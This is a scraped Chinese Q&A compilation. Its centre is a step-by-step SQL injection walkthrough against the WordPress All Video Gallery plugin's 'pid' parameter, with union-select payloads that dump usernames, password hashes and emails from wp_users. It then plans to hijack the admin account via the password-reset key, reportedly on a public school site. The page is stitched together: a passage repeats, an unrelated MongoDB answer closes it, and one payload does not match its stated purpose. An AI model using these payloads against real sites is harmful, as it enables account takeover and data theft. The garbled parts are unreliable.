本文目录一览:
ASP网页的SQL注入入侵是什么?
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.
详细的看
;rsp=3oq=SQL%D7%A2%C8%EB%C8%EB%C7%D6f=1tn=max2_cb
如何sql注入漏洞攻破linux基础web
SQL注入的基本原理
sql注入成因主要是对页面参数没有进行非法字符校验导致,比如说一个订单页面要显示某个客户的所有订单列表,这个页面的地址可能是,我们推理,这样页面的后台处理的sql应该是这样的:
select * form custom_order where custom_id = {$_GET['customID']}
按正常情况下,这里的接收的参数{$_GET['customID']}的值应该是传入的值3,这样页面就能正确的把所有客户ID等于3的订单信息显示到页面上。但是,如果这个参数被人恶意改成了如下形式:
union select 1,2,3,user,5,passwd,7,8,9,10 from admin
按这样的参数拼装成的sql就成了这样:
select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。
All Video Gallery插件的漏洞简介
安装了All Video Gallery插件的Wordpress博客里会有这样的一个地址:
;pid=11
访问这个页面会显示一些配置信息,问题就出在pid这个参数上,程序后台显然没有严格检查这个参数,我们将利用这个参数进行sql注入。
WordPress是一个开源的平台,我们很容易弄清楚用户表的表名是wp_users,存放用户名,密码,邮件地址的字段分别是user_login,user_pass,user_email,我们下面将要把用户信息表注入进去。
获取超级管理员用户名
为了获取用户表中的用户名,我们注入的sql是这样的:
;pid=1pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在浏览器里输入上面的地址,页面上会显示下面的信息:
获取超级管理员邮件地址
我们可以直接获取用户的密码,但很显然,密码都是加密的,无法使用,我们这里使用另外一种思路,先获取用户的邮件地址,然后使用这个邮件重置用户的密码。
要获取邮件地址,我们需要将上面的sql中的字段名改成user_email:
;pid=1pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在浏览器里输入上面的地址,页面上会显示下面的信息:
重置管理员密码
WordPress的后台登陆地址是,这个地址是可以公共访问的,我们进入这个页面后,点击Lost your password?链接,输入上面获取的管理员邮件。
这样做了之后,Wordpress会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址,但我们可以使用上面同样
的方法获取这个激活码,自己拼装出密码重置地址。存放激活码的字段是user_activation_key,我们的sql注入地址改成下面这样:
;pid=1pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users
在浏览器里输入上面的地址,页面上会显示下面的信息:
有了激活码,我们就可以拼装出装置密码的地址了:
;key=resetkeylogin=username
利用这个地址进入重置密码页面:
总结
我们的黑客行动到此基本上是大功告成,但事实上我并没有去执行最后一步。本文的目的不是要告诉人们如何进行黑客攻击,而是要提醒大家防范安全漏洞,
所谓知己知彼,方能百战不殆,程序员应当对基本的黑客攻击方式有一些了解,针对性的在编程时避免造成类似sql注入的安全漏洞,构筑更健壮的软件。
如何利用SQL注入漏洞攻破一个WordPress网站
select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。
如何解决wordpress sql注入
mongodb应该是不支持使用普通的sql语句查询的吧?这个是必然。我觉得极没必要,首先明确你的目的是什么:不会写mongodb查询?(学习or别用):undifined,其次,如果是做数据库迁移,你要明确好关联查询是极大可能出问题的。第三,解决问题点不一样,明确好mongodb能做什么,他擅长大数据的快速读写,但对于强事务性处理不好,你要想用它做sql做的事,有些可能他无能为力!